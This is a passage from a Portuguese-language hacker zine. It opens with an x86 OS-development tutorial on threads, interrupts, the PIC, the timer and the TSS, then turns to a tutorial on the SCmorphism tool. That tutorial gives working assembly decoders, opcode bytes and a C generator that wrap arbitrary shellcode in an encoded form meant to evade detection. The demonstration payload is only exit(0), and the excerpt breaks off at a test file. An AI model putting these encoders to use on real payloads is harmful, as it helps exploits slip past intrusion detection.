Após algum tempo, foi criado o conceito de thread. Um thread possui descrição igual adescrição do processo dada anteriormente, porém os thread não executam em espaço virtualseparado.Assim, os threads possuem em comum o espaço virtual e os recursos deste espaço, enquantocada um possui seu próprio contexto e tempo de execução. Com a criação de threads, para osprocessos sobrou apenas armazenar informações do espaço virtual e sobre os threads (emuma lista talvez).Assim, um thread é uma unidade de execução que possui independência em relação a suaexecução, pois é este que agora possui os 3 estados citados anteriormente, e não o processointeiro. Isso permite que um thread que faz E/S possa ser bloqueado, sem bloquear o processointeiro (permitindo que outros threads do processo executem).Os threads também representam economia em relação à espaço e recursos de execução, poisse você estiver em um ambiente sem threads, e você precisar criar 10 threads para realizaruma tarefa x, em tal ambiente, você terá de criar 10 processos, ou seja, 10 espaços virtuaisdiferentes, reduzindo, em certo modo, a quantidade de memória disponível. Além disso, acriação de threads geralmente é mais rápida que a criação de processos.Os threads podem permitir, também, que um mesmo processo execute ao mesmo tempo,executando um thread em cada processador em sistemas MP.Há sistemas que incluem o conceito de fiber. Um fiber é uma unidade de execução que tem deter sua execução controlada pelo thread.Para a manutenção de recursos utilizados por threads, geralmente implementam-se bibliotecasou funções do próprio kernel para que haja coesão na utilização destes recursos.

Há casos em que os threads não são gerenciados pelo kernel.

GERENCIAMENTO DE RECURSOS LIMITADOS EM THREADS

Geralmente utilizam-se objetos, dos quais os mais famosos são os semáforos, os mutexes e asseções críticas.Um semáforo é um objeto que possui um contador. Cada vez que um thread requisita umsemáforo, este diminui em 1 seu valor. Cada vez que um thread o libera, este valor éaumentado em 1. Se antes dessa decrementação, o valor for 0, o thread atual é bloqueado atéque outro thread libere o semáforo.Os semáforos permitem acesso à recursos limitados em nº maior que 1.Mutex são utilizados na situação em que o recurso deve ser acessado apenas por 1 thread por

52

Page 53: Equinox Green 2

vez. Um mutex é como um semáforo com um contador valendo 1. Se o mutex for requisitadopor um thread, e este mutex estiver livre, o thread adquiri o mutex e este é marcado comoocupado. Se o mutex já estiver ocupado, o thread é bloqueado até que ele seja liberado.As seções críticas agem como o mutex.

Há casos em que, em relação aos 3 objetos, quando não se pode adquirir o objeto, okernel/biblioteca implementa um retorno de erro ao invés do bloqueamento do thread.

PRÁTICA - PROCESSOS

Vamos começar com um exemplo de estrutura de contexto.

struct Contexto{

int a; /* int sempre possui o tamanho do registrador acumulador (al, ax, eax, rax) */int b; /* base */int c; /* contador */int d; /* não me lembro =/ */

int si; /* Índice de fonte */int di; /* Índice de destino */

short cs; /* segmento de código */short ds; /* segmento de dados */short es; /* segmento de dados */short fs; /* segmento de dados auxiliar */short gs; /* segmento de dados auxiliar */short ss; /* segmento da pilha */

int flags; /* flags */

};

Não precisamos guardar cr3 (registrador base de diretório de páginas) aqui, porque estaestrutura visa threads. cr3 deverá ser guardado pelo processo, pois pertence a todos osthreads (mesmo espaço virtual).

Você leu que para as unidades de execução dispõem de um tempo para executar. Veremoscomo este tempo é agendado com o auxílio do hardware, mas antes, precisamos entender oque são interrupções.

INTERRUPÇÕES

Uma interrupção é, primariamente, uma maneira do hardware se comunicar com o softwarequando necessário. Em segunda instância uma interrupção é uma maneira do softwareinteragir com outros softwares.Imagine a seguinte situação: O programa A necessita escrever um arquivo no disco. O fluxo deoperações geralmente consiste em syscall (requisição), execução dos comandos, bloqueamentodo programa (subentenda a partir de agora programa como a menor unidade de execuçãogerenciável pelo kernel (processo/thread)) e retorno do programa à lista de execução quando aescrita estiver terminada. É bom ressaltar que os discos geralmente são milhares de vezesmais devagar do que os processadores (e consequentemente a execução de instruções).Agora, na prática, como o kernel saberá que a escrita terminou e que é hora de liberar oprocesso do bloqueamento, já que a maioria dos discos (senão todos) não bloqueiam oprocessador para executar tarefas?Simples, através de interrupções.Uma interrupção é exatamente isso: uma INTERRUPÇÃO do fluxo atual de instruções pararealizar alguma tarefa lateral.As interrupções de hardware dizem ao kernel que o hardware terminou de realizar alguma

53

Page 54: Equinox Green 2

tarefa, que precisa de mais entrada, que ocorreu erro, etc.Na arquitetura x86, podemos definir 256 interrupções, tendo as 32 primeiras funções fixasrelativas ao processador e à execução (em modo protegido). As outras são livres para vocêutilizar. Um exemplo de utilização de interrupções em software é o sistema operacional Linux,que utiliza a interrupção 80h (128) para receber syscalls.

PRÁTICA - INTERRUPÇÕES

A interrupção disparada pelo hardware é denominada interrupção de hardware.As interrupções são montadas em uma tabela como a GDT, porém esta se chama IDT(Interrupt Descriptor Table - Tabela de Descritores de Interrupção).A IDT é carregada da mesma maneira que a GDT, porém a IDT se localiza num registradorchamado idtr. Carrega-se a IDT utilizando um ponteiro para o tamanho (2 bytes) e a base (4bytes) da IDT, com o auxílio das instruções lidt, que carrega o registrador idtr, e sidt, quearmazena o valor do registrador idtr na memória.O endereço base da idt, assim como o da gdt, tem de ser físico.Cada descritor da idt aponta para uma função (código) que executa determinada tarefa. Vamosdar uma olhada num descritor da idt:

31 16| 15|14 13|12 5|4 0--------------------------------------------| Res/Offset 31:16 | P | DPL | nn(D) | Res | byte 4--------------------------------------------

31 16|15 0--------------------------------------------| Segmento | Offset 15:00 | byte 0--------------------------------------------

A IDT pode possuir até 156 descritores. Cada descritor possui 8 bytes.Vamos ver para que serve cada campo:

Exemplo [bits onde se encontram no descritor do byte 4]: descrição

Segmento: Valor de 16 bits que identifica o segmento para o qual este descritor aponta. Estesegmento deverá ser um segmento de código.

Offset [31:16]: Resto do offset que indica a posição do código no segmento. Esse offset dodescritor do byte 4 só está presente se o descritor for um interrupt ou call gate.

Res [4:0 e 31:16]: Reservado, sempre 0. O valor reservado nos bits 31:16 é substituído pelooffset em interrupt e call gates.

Nn [12:5]: Identifica o tipo de gate. Se o valor for 0x28 (00101000b), trata-se de um task gate.Se o valor for 0x30 (00110000b) ou 0x70 (01110000b) (veja o bit D), trata-se de um interruptgate. Se o valor for 0x38 (00111000b)ou 0x78 (01111000b) (veja o bit D), trata-se de um trapgate.

D [11]: Este bit está presente somente em interrupt e trap gates. Este bit identifica o tamanhodo gate. Se for 0, o gate é um gate de 16 bits. Se for um, é um gate de 32 bits.

DPL [14:13]: DPL do descritor (veremos DPL em proteção).

P [15]: Identifica se o descritor está presente (P = 1) ou ausente (P = 0).

Um task gate é um gate que necessita que ocorra mudança de contexto no nível doprocessador. Veremos isso em TSS.Um trap gate e um interrupt gate são similares, porém, um trap gate permite que interrupçõesocorram durante sua execução, enquanto o interrupt gate previne que interrupções ocorram

54

Page 55: Equinox Green 2

durante sua execução (útil para interrupções importantes) (IF = 0).

As interrupções são chamadas através da instrução "int n", onde n é o número da interrupção.O n é na verdade um índice na tabela. Cada n corresponde a um descritor.

Como dito anteriormente, 32 destas interrupções são fixas. Estas são as 32 primeiras. Vamosver para que serve cada uma:

INT 0: Erro de divisão (geralmente divisão por 0)

INT 1: Reservada

INT 2: Interrupção NMI. (não vou mentir, ainda não sei para que serve o0)

INT 3: Breakpoint. Gerada geralmente para debugar código

INT 4: Overflow durante operação matemática ou checagem com a instrução "bound"

INT 5: Exceção de bound. (também não sei :P)

INT 6: Opcode inválido (instrução inválida ou execução da instrução "UD2")

INT 7: Dispositivo não disponível (co-processador matemático inativo ou inexistente)

INT 8: Falta dupla (Ocorre se as interrupções 0, 10, 11, 12, 13 e 14 ocorrerem durante aexecução de outras interrupções. No caso da int 14, só há int 8 se a int 14 ocorrer durante aexecução de outra int 14)

INT 9: Reservada

INT 10: TSS inválido (veremos TSS depois)

INT 11: Segmento ausente (o segmento carregado em cs, ds, es, fs ou gs está com o bit Pdesabilitado (P = 0))

INT 12: Falta da pilha (o segmento carregado em ss pousi o bit P desabilitado, foi referenciadoum local na pilha inexistente, a pilha estava na base do segmento e foi executada a instrução"push", a pilha estava no limite do segmento e foi executada a instrução "pop" ou a instrução"enter" foi executada e não havia espaço na pilha para alocar as variáveis)

INT 13: Falta geral (causada por qualquer referencia inválida de memória, carregarregistradores de segmento com segmentos de sistema, exceder limites de segmentos e tabelas(GDT, LDT), violação de proteção e vários outros motivos)

INT 14: Falha de página (a página não está presente na memória (swapping? :]), a páginapossui um nível de proteção não acessível ao programa, tentativa de escrita em uma páginasomente-leitura ou um dos bits reservados na entrada do diretório de páginas vale 1)

INT 15: Reservada

INT 16: Erro de ponto flutuante

INT 17: Erro de alinhamento (A verificação de alinhamento está ativada e foi feita umatentativa de acesso desalinhado)

INT 18: Verificação de máquina (Falha de hardware, geralmente no bus)

INT 19: Erro de ponto flutuante SIMD

INT 20-31: Reservado

55

Page 56: Equinox Green 2

INT 32-255: Estes são seus =D

As interrupções 8 e 18 são consideradas abortivas, ou seja, são erros severos do sistema.

Algumas interrupções geram um erro e colocam-no na pilha (caso não tenha sido geradoexternamente ou pela função "int n"). O formato do valor, de 32 bits, está representado abaixo:

31 16|15 3| 2 | 1 | 0----------------------------------------------------| Reservado | Seletor de segmento | TI | IDT | EXT |----------------------------------------------------

O seletor de segmento [15:3] possui 13 bits, logo pode-se representar até 8192 segmentos (omáximo de descritores da GDT e da LDT). O bit TI [2] identifica, se o bit IDT for 0, se osegmento pertence à GDT (TI = 0) ou à LDT (TI = 1). O bit IDT identifica se o valor do seletorde segmento é um descritor da IDT (IDT = 1) ou não (IDT = 0). O bit EXT indica se ainterrupção foi gerada por um evento externo (como uma interrupção de hardware).

As interrupções 8 e 17 colocam o valor 0 na pilha.As interrupões 10, 11, 12 e 13, colocam o descritor de erro representado acima na pilha.A interrupção 13 coloca o descritor se a mesma for causada por algum evento relativo asegmentos. Caso contrário a int 13 coloca o valor 0 na pilha.

A interrupção 14 coloca um valor na pilha cuja descrição está abaixo:

31 4| 3 | 2 | 1 | 0---------------------------------| Reservado | RSV | US | RW | P |---------------------------------

O bit RSV [3] identifica se a interrupção foi causada por violação de bits reservados (RSV = 1)(algum bit reservado habilitado num descritor de tabela no diretório de páginas) ou não (RSV= 0).O bit US [2] identifica se o processador estava em modo usuário (US = 1) ou modo supervisor(US = 0) quando a interrupção ocorreu.O bit RW [1] identifica se a causa da interrupção foi uma tentativa da escrita (RW = 1) ou deleitura (RW = 0).O bit P [0] identifica se a interrupção foi causada por uma página não presente (P = 0) ou umafalha de proteção de página (P = 1).

Estes valores de erro devem ser retirados da pilha antes do código que manipula taisinterrupções retornar.

Agora que já vimos o que são as interrupções, como elas se comportam e etc, vamos ver a PIC.

A PIC

A pic é um controlador utilizado dede os XT. A pic possui uma lista de requisições deinterrupção (IRQs) que geralmente são acopladas, cada uma, a uma peça de hardware quenecessita utilizar o mecanismo das interrupções.Na verdade, atualmente a pic são dois controladores. Comumente, as IRQs são dispostas daseguinte maneira:

IRQ 0 TimerIRQ 1 TecladoIRQ 2 CascateadoIRQ 3 COM 2IRQ 4 COM 1IRQ 5 IDE

56

Page 57: Equinox Green 2

IRQ 6 FLOPPY0IRQ 7 LPTIRQ 8 Relógio CMOSIRQ 9 LivreIRQ 10 LivreIRQ 11 LivreIRQ 12 LivreIRQ 13 Coprocessador matemáticoIRQ 14 IDE0IRQ 15 IDE1

A IRQ2 é na verdade uma ponte entre o segundo controlador da pic e o processador, ou seja,qualquer interrupção das IRQs 8 a 15 passam pela IRQ2 para chegar para o processador.As IRQs livres podem ser utilizadas pelo hardware. Duas peças do hardware que compartilhama mesma IRQ causam um conflito de hardware.As IRQs podem ser direcionadas para uma interrupção especifica. Para isso, devemosprogramar a pic.

PRÁTICA - PIC

Vamos programar a pic então :DAo programarmos a pic, damos-lhe dois índices de interrupções. Assim, se programarmos oprimeiro controlador com a interrupção 50, a IRQ0 ocupará a interrupão 50, a IRQ1 ocupará ainterrupção 51, e assim em diante até a IRQ7 na int 57. Isso vale para o outro controlador.Vamos a um exemplo. Carregaremos a pic, colocando as IRQs do primeiro controlador nainterrupção 0x30 e as do segundo na interrupção 0x40.A pic é programada utilizando bytes conhecidos como ICWs. Veremos a estrutura do ICWs.

ICW1:

7 6 5 4 3 2 1 0-----------------|0|0|0|1|M|0|C|I|-----------------

M [3]: Indica o modo que as linhas de IRQ0 a IRQ7 são ativadas. Deve sempre ser 0 em um PC.

C [1]: Indica se há cascateamento de pics (C = 0) ou não (C = 1). Deve ser 0 se houver doiscontroladores de pic.

I [0]: Indica se haverá ICW4 após o ICW3. Se estiver habilitado (I = 1), haverá ICW4, casocontrário (I = 0), não haverá.

ICW2:

7 6 5 4 3 2 1 0-----------------|N|N|N|N|N|0|0|0|-----------------

N [7:3]: A interrupção base a ser utilizada neste controlador. Os 3 últimos bits são ignorados,forçando assim, a interrupção base a ser um múltiplo de 8.

Para cada IRQn, a interrupção N + n é chamada.

No caso de ICW3, o ICW3 do controlador principal é diferente do ICW3 do controladorsecundário.

ICW3 para o controlador principal:

57

Page 58: Equinox Green 2

7 6 5 4 3 2 1 0-----------------|I|I|I|I|I|I|I|I|-----------------

I [7:0]: Cada bit identifica se há um controlador ligado à IRQ correpondente ao bit (I = 0), ouse a IRQ correspondente é uma IRQ de hardware. Comumente, o bit 2 é habilitado e os outrosdesabilitados, habilitando o segundo controlador a se comunicar com o processador através daIRQ2.

ICW3 para o controlador secundário:

7 6 5 4 3 2 1 0-----------------|0|0|0|0|0| IRQ |-----------------

IRQ [2:0]: Identifica a qual IRQ do controlador principal o controlador secundário está ligado.Comumente a IRQ 2.

ICW4:

7 6 5 4 3 2 1 0-----------------------|0|0|0|0|0|0|EOI|80x86|-----------------------

EOI [1]: Este bit diz se o fim da interrupção é feito automaticamente (EOI = 1) ou com auxíliodo software (EOI = 0). Este bit geralmente é desabilitado (EOI = 0), pois ele impede que a PICgere interrupções enquanto outra interrupção estiver sendo processada.

80x86 [0]: Identifica se a pic está em um 80x86. Deve ser sempre 1.

Para enviar o fim de interrupção, utiliza-se um comando chamado OCW2. Abaixo há umadescrição do OCW2:

OCW2 (fim de interrupção):

7 6 5 4 3 2 1 0-----------------|0|0|1|0|0|0|0|0|-----------------

Talvez você esteja se perguntando o que é a OCW1. A OCW1 é um comando de habilitação edesabilitação de IRQs.

OCW1:

7 6 5 4 3 2 1 0-----------------|I|I|I|I|I|I|I|I|-----------------

I [7:0]: Cada bit indica uma intrrupção correspondente a sua posição no byte. Se o bit for 0, ainterrupção é habilitada, se for 1, é desabilitada.

Chega de conversa, vamos programar a pic :]

outb(0x20, 0x11); /* Controlador 1 - ICW1 M=0, C=0, I=1 */outb(0xA0, 0x11); /* Controlador 2 - ICW1 M=0, C=0, I=1 */

58

Page 59: Equinox Green 2

outb(0x21, 0x30); /* Controlador 1 - ICW2 INT = 0x30 */outb(0xA1, 0x40); /* Controlador 2 - ICW2 INT = 0x40 */

outb(0x21, 0x04); /* Controlador 1 - ICW3 IRQ2 */outb(0xA1, 0x04); /* Controlador 2 - ICW3 IRQ2 */

outb(0x21, 0x03); /* Controlador 1 - ICW4 EOI=0, 80x86=1 */outb(0xA1, 0x03); /* Controlador 2 - ICW4 EOI=0, 80x86=1 */

OK, programada!

Para o ICW0 e o OCW1, utilizamos a port 0x20 para o controlador 1 e a port 0xA0 para ocontrolador 2.Para o restante, utilizamos as ports 0x21 e 0xA1 para os controladores 1 e 2, respectivamente.

Agora, sempre que a interrupção 0x30 for chamada, você sabe que foi porque o timer foidisparado. É este timer o mais utilizado para gerenciar o tempo dos processos. Este timerpossui uma frequência de 1.193.180 Hz, e pode-se controlar a freqüência com a qual sãodisparadas as interrupções através de um divisor de 16 bits. Este timer é controlado pelocontrolador 8253, e é programável. Vamos ver como podemos programar o timer.

A port 0x43 é utilizada para mandar comandos de controle do timer. O comando utilizado estádescrito abaixo:

7 6|5 4|3 1| 0----------------------| CS | RL | MD | BCD |----------------------

CS [7:6]: Estes bits são utilizados para dizer ao controlador qual timer estará sendo utilizado.Temos 3 timers distintos. O primeiro (CS = 00b) é usado para timer do sistema (é este que nosinteressa). O segundo (CS = 01b) é usado para operações de atualização no DMA. O terceiro(CS = 10b) é para uso geral, e geralmente é utilizado para controlar o Speaker. O modo 3 (CS= 11b) é ilegal.

RL [5:4]: Estes bits controlam a operação a ser realizada. Se forem 1 (RL = 01b), iremosescrever apenas a parte alta do divisor, se forem 2 (RL = 10b), iremos escrever apenas a partebaixa, se forem 3 (LSB = 11b), iremos escrever a parte baixa e, em seguida, a parte alta dodivisor.

MD [3:1]: Estes bits indicam o modo como o timer funcionará. Vejamos uma tabela:

Modo 0 (000b) : Este modo inicia uma contagem com um valor programado, e decrementa ovalor de contagem cada vez que o timer é acionado. Quando o timer for 0, acontece ainterrupção e o timer pára até que seja introduzido um novo valor de contagem. Se o valor decontagem for mudado durante a contagem, a contagem é parada.

Modo 1 (001b) : Este modo é semelhante ao anterior, porém recarregar o valor do timer nãointerrompe a contagem. Após a contagem original, inicia-se a contagem com o novo valor.

Modo 2 (010b) : Gera um pulso a cada N ciclos do timer. Mudar o valor só funciona após o fimdo ciclo.

Modo 3 (011b) : Gera um pulso a cada N ciclos, onde N0 é o valor original, N1 é o valororiginal dividido por 2, N2, o valor dividido por 4, e assim em diante (Ni = N0 / 2^i), atéchegar a 0, e, então a contagem é reiniciada. Mudar o valor só funciona após o fim do ciclo.

Modo 4 (100b) : Produz um único pulso, após N clocks, sendo N o valor de contagem, e depoisaguarda até que o contador seja alterado.

59

Page 60: Equinox Green 2

Modo 5 (101b) : Modo gerenciado pelo hardware. Não nos interessa.

BCD [0] : Identifica se o valor usado no timer é binário-hexadecimal (BCD = 0) ou binário-decimal (BCD = 1). O padrão é binário-hexadecimal.

Para todos os timers, utilizamos a port 0x43 para mandar este comando. Para cada timer,temos uma port diferente para configurarmos o valor de contagem. Para o timer 0, utilizamosa port 0x40, para o timer 1, a port 0x41 e para o timer 2, a port 0x42.

O valor do divisor pode estar entre 1 e 65535. Se o valor for 0, o controlador interpreta-o como65536. Assim, a configuração mais devagar que podemos ter com este timer é a de1193180/65536 = 18.2 vezes por segundo (aproximadamente 1 interrupção a cada 55 ms)

Vamos a um exemplo:

outb(0x43, 0x34); /* RL = 11, modo 2 */outb(0x40, 0); /* Parte baixa */outb(0x40, 0); /* Parte alta */

Com isso obtemos aquela frequência de 18.2 hz para a interrupção.Vamos a outro exemplo:

outb(0x43, 0x34); /* RL = 11, modo 2 */outb(0x40, 1); /* Parte baixa */outb(0x40, 0); /* Parte alta */

Com isso obtemos uma frequência de 1193180 (1 milhão de) interrupções por segundo. Issonos dá uma interrupção a cada 0.000000838 segundos.

Com essas bases, pode-se calcular quanto tempo deseja-se dar para os processos dentro dosvalores possíveis.

TSS

Uma TSS é uma estrutura utilizada pelos processadores da arquitetura x86 para auxiliar amudança de contexto entre processos. Um TSS armazena informações úteis ao processadorutilizadas na mudança de contexto. Vejamos um exemplo de estrutura de um TSS:

31 16|15 0-----------------------------------------------------------| I/O Base | |T| Byte 100-----------------------------------------------------------| | Seletor de LDT | Byte 96-----------------------------------------------------------| | GS | Byte 92-----------------------------------------------------------| | FS | Byte 88-----------------------------------------------------------| | DS | Byte 84-----------------------------------------------------------| | SS | Byte 80-----------------------------------------------------------| | CS | Byte 76-----------------------------------------------------------| | ES | Byte 72-----------------------------------------------------------| EDI | Byte 68-----------------------------------------------------------| ESI | Byte 64

60

Page 61: Equinox Green 2

-----------------------------------------------------------| EBP | Byte 60-----------------------------------------------------------| ESP | Byte 56-----------------------------------------------------------| EBX | Byte 52-----------------------------------------------------------| EDX | Byte 48-----------------------------------------------------------| ECX | Byte 44-----------------------------------------------------------| EAX | Byte 40-----------------------------------------------------------| EFLAGS | Byte 36-----------------------------------------------------------| EIP | Byte 32-----------------------------------------------------------| CR3 | Byte 28-----------------------------------------------------------| | SS2 | Byte 24-----------------------------------------------------------| ESP2 | Byte 20-----------------------------------------------------------| | SS1 | Byte 16-----------------------------------------------------------| ESP1 | Byte 12-----------------------------------------------------------| | SS0 | Byte 8-----------------------------------------------------------| ESP0 | Byte 4-----------------------------------------------------------| | LTL | Byte 0-----------------------------------------------------------

Os campos dos registradores falam por si. Vamos ver para que servem os campos SSn, ESPn,CR3, LTL, LDT, T e I/O Base.

Os campos extras para SS e ESP provêm do fato de que para cada nível de privilégio (veremossegurança depois), o segmento de pilha deve ser diferente. Assim, quando um programa pula,chama uma interrupção ou faz qualquer coisa, a pilha é trocada para acompanhar o nível deprivilégio atual. Isso impede que a pilha estoure por falta de espaço durante uma syscall porexemplo.

CR3 é o nosso diretório de páginas referente a este processo.

LTL é um link para o segmento que indica a próxima TSS. Assim, se um programa executar um"iret", por exemplo, indicando fim de programa, o processador irá mudar o contexto para oTSS apontado por este link.

LDT indica a LDT que usaremos neste processo.

T [0] este bit indica se o processador deverá executar uma "int 3" (debug) quando o processofor (re)iniciado.

I/O Base: É um deslocamento (offset) da base da TSS até um mapa de bits (bitmap) que indicase determinadas ports são acessíveis a este processo. Por exemplo, se este offset aponta parauma tabela de 8 ports (1 byte), e seus bits são 11001111b, as ports 4 e 5 estão habilitadaspara uso (0) e as outras estão desabilitadas. O último byte deste mapa deverá ser 0xFF(11111111b). Não é necessário mapear todo o espaço de I/O, apenas da primeira port até aport que você quiser, depois disso, coloca-se o byte 0xFF e indica-se limite de TSS na GDT (a

61

Page 62: Equinox Green 2

TSS é um segmento, lembra-se). Se não for necessário um mapa de bits, coloque o valor dodeslocamento (início do mapa) acima ou igual ao limite da TSS. Qualquer por que não estejano mapa é tratada com inacessível se o processo não possuir privilégios suficientes.

WOW. Já foi bastante coisa, acho melhor deixar o resto para um outro artigo. O assunto éextenso mas é legal. Na continuação, iremos ver como funciona a proteção da arquitetura,voltaremos à teoria com sistemas de arquivos, e à pratica, aprendendo a carregar arquivos deum disco (isso é valioso, porque aprender a carregar ou escrever qualquer coisa num discosem a bios é um saco, e além disso ensinarei como acessar discos com mais de 130GB ^^).

Vamos parando por aqui, porque eu vou lançar o artigo numa zine (cara folgado neh, lançanuma zine e ocupa trocentas páginas...). Well, eu nunca escrevo, mas quando começo nemparo :P. Não procurem meus artigos, só escrevi 3 até hoje e o melhor deles é este, tem umsobre hardware ( da época em que eu achava que processador era o advogado que processa osoutros, e outro sobre api do windows (duma outra época que não está tão distante assim (nãoria)).Peço desculpas pela falta de organização!

Bem, pessoas, espero que tenha ajudado em algo! ^^

Bibliografia:

Manuais da Intel (1 e 3)"A20 - A pain from the past", autor anônimo"Programming The PIC: PicBasic Pro", Tom alguma_coisa"Programmable Interrupt Controler programming", por Xavier Leclerq"IRQs and DMAs", porCR4CK1N6"The Timer!!!", por Mitch"8253/54 Timer", autor anônimo"The 8253 Timer", autor anônimo

Contato:

email: [email protected]: [email protected]

PS: Não me lembro de bons links sobre os, mas do que eu lembro, lembro dewww.osdever.alguma_coisa e www.osdevel.alguma_coisa. Acho q alguma_coisa é .net e .org,mas só ACHO!

62

Page 63: Equinox Green 2

S C M O R P H I S M

Por Rodrigo Rubira Branco (BSDaemon) [email protected]

Cuidado: Esta procura ser uma tradução do meu texto original HowItWorks.txt que foi escritoem inglês devido a natureza e função da ferramenta e portanto pode não estar totalmenteatualizado.

O objetivo deste texto seria explicar como funciona a ferramenta SCmorphism. Explicaçõesutilizadas neste texto seriam o ponto de inicio para comecar uma ferramenta como oscmorphism, você mesmo.

Se você apenas deseja aprender as técnicas, este texto pode ser para você também. Eurealmente quero agradecer ao Darksock da UHAGR porque ele me enviou boa parte dosexemplos sobre polimorfismo demonstrados neste texto. Eu modifiquei o texto dele para sermais facilmente entendido e acrescentei diversas partes.

Primeiramente, minha intenção seria explicar como as técnicas de Polimorfismo funcionam etambém mostrar ao leitor como um DECODER pode ser modificado para tornar praticamenteimpossivel de ser detectado.

Para entender mais sobre polimorfismo, também pode-se ler o artigo do Rix na phrack.

Um shellcode polimorfico possui o seguinte formato:

--------------call decryptor--------------shellcode--------------decryptor--------------jmp shellcode--------------

O decryptor fica responsável por realizar o processo inverso ao utilizado na codificacao do seushellcode. Este processo pode ser, por exemplo:

- ADD- SUB- XOR- SHIFT

63

Page 64: Equinox Green 2

- Encriptação (como DES)

Quando fazemos uma chamada CALL o endereco do próximo código (neste caso o doshellcode) fica armazenado na stack. Então, o decoder pode facilmente pegar o endereço doshellcode armazenando-o em um registrador de uso geral. O que o decoder precisa fazer seriaapenas manipular os bytes do shellcode e executar um jump para o endereço deste. Portantoteríamos algo assim (algoritmo):

------------------------------------------------------

call decryptorshellcode:

.string encrypted_shellcodedecryptor:

xor %ecx, %ecxmov sizeof(encrypted_shellcode), %clpop %reg

looplab:mov (%reg), %al- manipulate al according to the encryption -mov %al, (%reg)

loop looplab

jmp shellcode

-------------------------------------------------------

Agora temos um exemplo de código que funciona:

.globl main

main: call decryptorshellcode:

.string "\x32\xc1\x32\xdc\xb1\x02\xce\x81" // exit(0) shellcode // increased by 1 .

decryptor:pop %ebx // we are going to using as an address reg: %ebx .xor %ecx, %ecx // Zero out %ecxmov $0x08, %cl // 0x08 == sizeof(shellcode) .

looplab: mov (%ebx), %al // mov the byte pointed by %ebx to %al .

dec %al // The manipulation/decryption :P .mov %al, (%ebx) // put the byte, decrypted now, back where it belongs.inc %ebx // increase the address by 1, get the next byte .

dec %cx // decrease our counter register: %cx .jnz looplab // if %cx is not equal to zero, then continue

// decrypting.

jmp shellcode // Finaly, jump to our decrypted shellcode

Realmente é muito fácil de entender, porém com alguns problemas. Você não pode usar estecódigo compilado porque recebera um SIGSEGV devido ao fato de ele tentar escrever no .text(seção de código) que geralmente estará mapeado como +rx.

No formato opcode este código funciona bem (porque estaria na stack).

64

Page 65: Equinox Green 2

Agora apenas precisa-se concatenar o shellcode no final do seu decoder. Modificar o movsizeof(shellcode), %cx bytes. Claro que você precisa tomar cuidado para eliminar qualquerzer-bytes no seu opcode do decoder porque o sistema iria entender isto como fim de string.

Também podemos fazer alguns otimizações, como estes instruções:

mov (%ebx), %al dec %al mov %al, (%ebx)

Que são igualmente transformadas em: subb $0x01, (%ebx)

Outras melhorias podem ser feitas, este código seria apenas um exemplo de como seimplementar e desenvolver um decoder. Neste exemplo o mecanismo de cifragem realmenteestá simples e realmente foi muito fácil de ser desenvolvido. Outros mecanismos podemmanipular apenas byte a byte e serem realmente obvios de serem desenvolvidos (tais comoXOR).

De qualquer forma, compilado isto possui os seguintes opcodes. Aqui está (começando docall):

in main:0xe80x09 // This byte is the relative address of the decryptor0x00 // This Zero bytes are troubling as. But we must use0x00 // the call instruction to get the shellcodes address0x00 // so we must redesigned our shellcode

Agora o código modificado:

.globl main

main:jmp getaddr

decryptor:pop %ebxxor %ecx, %ecxmov $0x08, %cl

looplab:

mov (%ebx), %aldec %almov %al, (%ebx)inc %ebx

dec %cxjnz looplab

jmp shellcode

getaddr:call decryptor

shellcode:.string "\x32\xc1\x32\xdc\xb1\x02\xce\x81"

65

Page 66: Equinox Green 2

Acredito que vocês podem entender este código, então vamos verificar os opcodes novamente:(opcodes encontrados utilizando-se gdb, com (gdb) x/bx endereço)

in main0xeb0x12 // relative address of getaddr, still wont changein decryptor0x5b0x310xc90xb10x08 // Shellcode bytes, must be smaller than 0xff bytes, wont be the same // for every shellcode, must be changed each time.in looplab0x8a0x030xfe0xc80x880x030x430x660x490x750xf50xeb0x05 // This byte is the relative address of shellcode - Wont changein getaddr0xe80xe9 // Relative address of decryptor - Wont change0xff // This way we are getting a negative relative address0xff // so we avoid those zero-bytes ;)0xff in shellcode:0x320xc10x320xdc0xb10x020xce0x81

Como pode ser visto o endereço fixo nao mudará mesmo que o shellcode mude. O decoderpode ser usado para qualquer shellcode, tendo apenas que modificar o byte 0x08 do decoderpara ser igual ao tamanho do shellcode, para cada shellcode. No scmorphism isto está sendofeito trocando-se o byte da string no programa em C.

Aqui está um programa em C para dar uma saida de um shellcode criptografado se forfornecido um shellcode que funcione:

#include <stdio.h>

//// BYTE_TO_MODIFY: pointer to the byte which we need to// modify in decryptor. Decryptor's size is -> 25 bytes <-// So your encrypted shellcode will enlarge by 25 bytes.//

#define BYTE_TO_MODIFY 4

66

Page 67: Equinox Green 2

char decryptor[] = "\xeb\x12\x5b\x31\xc9\xb1\xdb\x8a\x03" "\xfe\xc8\x88\x03\x43\x66\x49\x75\xf5" "\xeb\x05\xe8\xe9\xff\xff\xff";

int main( int argc, char *argv[] ) {

int i;

if( argc != 2 ) {fprintf( stdout, "Usage: %s [ shellcode ]\n", argv[0] );exit( 1 );

}

if( strlen( argv[1] ) < 256 ) {

decryptor[BYTE_TO_MODIFY] = strlen( argv[1] );

fprintf( stdout, "\nThe encrypted shellcode is:\n\n" );

for( i = 0; i < strlen( decryptor ); i++ )fprintf( stdout, "\\x%02x", ( long ) decryptor[i]);

for( i = 0; i < strlen( argv[1] ); i++ )fprintf( stdout, "\\x%02x", ( long ) *( argv[1] + i ) + 1 );

fprintf( stdout, "\n\n" );}

elsefprintf( stdout, "It is only possible if the given shellcode is smaller than 256

bytes\n" );

return( 0 );}

Assim que um decoder funciona (e pode ser desenvolvido) é como foi iniciado o projetoSCMorphism. Na vida real o tamanho do shellcode será incrementado conforme o tamanhodo decoder, portanto apresentamos uma versão otimizada do código anterior:

.globl main

main:jmp getaddr

decryptor:popl %ebxxorl %ecx, %ecxmovb $0x08, %cl

looplab:subb $0x01, (%ebx)inc %ebx

loop looplab

jmp shellcode

getaddr:call decryptor

67

Page 68: Equinox Green 2

shellcode:.string "\x32\xc1\x32\xdc\xb1\x02\xce\x81"

Com os opcodes do decoder sendo agora:

// // 20bytes Decrypter Engine, 5bytes less. Not bad ;) // Once again decryptor[4] must be changed to the // size of the given shellcode. //

char decryptor[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80\x2b\x01" "\x43\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff"

E um código final de testes:

--- test.c ---

#include <stdio.h>

//// Decryptor + exit(0); Encrypted shellcode//

